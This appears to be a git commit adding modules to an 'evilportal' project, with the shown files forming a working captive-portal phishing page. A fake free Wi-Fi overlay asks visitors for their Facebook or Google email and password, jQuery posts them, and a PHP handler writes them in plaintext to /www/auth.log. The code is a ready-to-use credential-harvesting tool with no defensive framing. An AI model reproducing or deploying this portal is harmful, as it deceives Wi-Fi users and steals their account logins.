Add modules to repository

This commit is contained in:
Sebastian Kinne
2017-11-16 16:42:22 +11:00
commit d0aa1e38ef
707 changed files with 96750 additions and 0 deletions

View File

@@ -0,0 +1,34 @@
<?php
namespace evilportal;
class MyPortal extends Portal
{
public function handleAuthorization()
{
// Call parent to handle basic authorization first
parent::handleAuthorization();
// Check for other form data here
if (!isset($_POST['email']) || !isset($_POST['password'])) {
return;
}
$fh = fopen('/www/auth.log', 'a+');
fwrite($fh, "Email: " . $_POST['email'] . "\n");
fwrite($fh, "Pass: " . $_POST['password'] . "\n\n");
fclose($fh);
}
public function showSuccess()
{
// Calls default success message
parent::showSuccess();
}
public function showError()
{
// Calls default error message
parent::showError();
}
}

View File

@@ -0,0 +1,89 @@
<style>
.pa_field {
width: 70%;
height: 30px;
font-size: 18px;
border: 1px solid #000;
}
.pa_main {
background-color: rgba(255,255,255,.9);
left: 0%;
margin-top: 200px;
text-align: center;
padding-top: 75px;
position: fixed;
border-style:solid;
border-width:medium;
border-color:#aaa;
-webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
-moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
}
.pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
#pa_msgBox{
top: 50%;
left: 50%;
width: 600px;
height: 400px;
margin-top: -230px;
margin-left: -300px;
z-index: 10;
display: none;
}
#pa_overlay-back {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0,0,0,.7);
z-index: 5;
display: none;
}
.pa_connectButton {
-moz-box-shadow:inset 0px 1px 3px 0px #3dc21b;
-webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b;
box-shadow:inset 0px 1px 3px 0px #3dc21b;
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a));
background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0);
background-color:#1fd950;
-moz-border-radius:5px;
-webkit-border-radius:5px;
border-radius:5px;
border:1px solid #18ab29;
display:inline-block;
cursor:pointer;
color:#ffffff;
font-family:arial;
font-size:22px;
font-weight:bold;
padding:12px 37px;
text-decoration:none;
text-shadow:0px -1px 0px #2f6627;
}
.pa_connectButton:hover {
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950));
background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0);
background-color:#5cbf2a;
}
.pa_connectButton:active {
position:relative;
top:1px;
}
.pa_left {
margin-left: 60px;
}
</style>

View File

@@ -0,0 +1,15 @@
<div id="pa_overlay-back"></div>
<div id="pa_msgBox" class="pa_main">
<h1 class="pa_h1">Internet access is on us today.</h1><br />
<h4 class="pa_h4">Simply login with your Facebook or Google account<br />through our secure form below to start surfing.</h4>
<br /><br />
<div>
<input type="text" id="pa_email" name="pa_email" class="pa_field" placeholder="FB or Gmail Login" />
</div>
<br />
<div>
<input type="password" id="pa_password" name="pa_password" class="pa_field" placeholder="FB or GMail Password" />
</div>
<br /><br />
<button id="submit_button" class="pa_connectButton" type="button">Connect</button>
</div>

View File

@@ -0,0 +1,36 @@
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
<script>
window.onload = setTimeout(displayLogin, 1000);
$(function() {
$("#submit_button").on("click", function() {
var email_addr = $('#pa_email').val();
var pass = $('#pa_password').val();
if (email_addr == "" || pass == "") {
alert("Please login with your Facebook or Google account to access free Wi-Fi.");
return;
} else {
$.ajax({
type: "POST",
url: "/captiveportal/index.php",
data: {email: email_addr,
password: pass,
target: "<?=$destination?>"},
dataType: 'json',
success: function(data, textStatus, jqXHR) {
window.location="/captiveportal/index.php";
},
error: function(data, textStatus, errorThrown) {
window.location="/captiveportal/index.php";
}
});
}
});
});
function displayLogin() {
$(function(){
$("#pa_msgBox").css("opacity", "1");
$("#pa_msgBox, #pa_overlay-back").fadeIn("slow");
});
}
</script>